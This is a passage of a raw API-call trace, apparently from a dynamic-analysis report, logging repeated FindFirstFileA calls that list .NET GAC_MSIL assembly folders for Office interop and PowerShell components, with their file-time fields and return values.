lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.PowerPoint\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d012810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7294500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7294500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.201] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Publisher\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c8c850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7294500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7294500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.206] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Publisher\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d0aad90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x72ba660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x72ba660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.211] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.SmartTag\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa651c390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x72ba660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x72ba660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.216] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.SmartTag\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5943a0f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x72ba660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x72ba660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.222] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Visio\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9aec2100, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x72e07c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x72e07c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.229] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Visio\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x850d7f00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x72e07c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x72e07c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.236] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Visio.SaveAsWeb\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9aec2100, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7306920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7306920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.242] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x848a9360, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7306920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7306920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.250] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.VisOcx\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9aee8260, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7306920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7306920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.257] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x852ed240, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x732ca80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x732ca80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.264] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Word\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cb29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x732ca80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x732ca80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.271] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Word\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7090d6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7352be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7352be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.278] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Project.WebProj\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe968e7e0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x7352be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7352be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.285] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Project.WebProj\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5753f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x7378d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7378d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.292] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa304bb70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7378d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7378d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.298] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60dc6450, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x739eea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x739eea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.305] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2f1b070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x739eea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x739eea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.311] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d7a190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x739eea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x739eea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.318] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2ea8c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x73c5000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x73c5000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.323] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Outlook.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x523e72d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x73c5000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x73c5000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.328] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2f8d490, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x73c5000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x73c5000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.334] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a2fe770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x73eb160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x73eb160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.341] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2f67330, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x73eb160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x73eb160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.346] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Word.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5253df30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x74112c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74112c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.351] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x74112c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74112c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.357] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x74112c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74112c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.362] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7437420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7437420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.366] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x7437420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7437420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.371] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7437420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7437420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.376] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x745d580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x745d580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.381] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x745d580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x745d580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.386] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x745d580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x745d580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.392] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x74836e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74836e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.398] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x74836e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74836e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.402] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x74836e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74836e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.408] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x74a9840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74a9840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.413] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x74a9840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74a9840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.418] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x74a9840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74a9840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.422] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x74cf9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74cf9a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.427] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x74cf9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x74cf9a0, 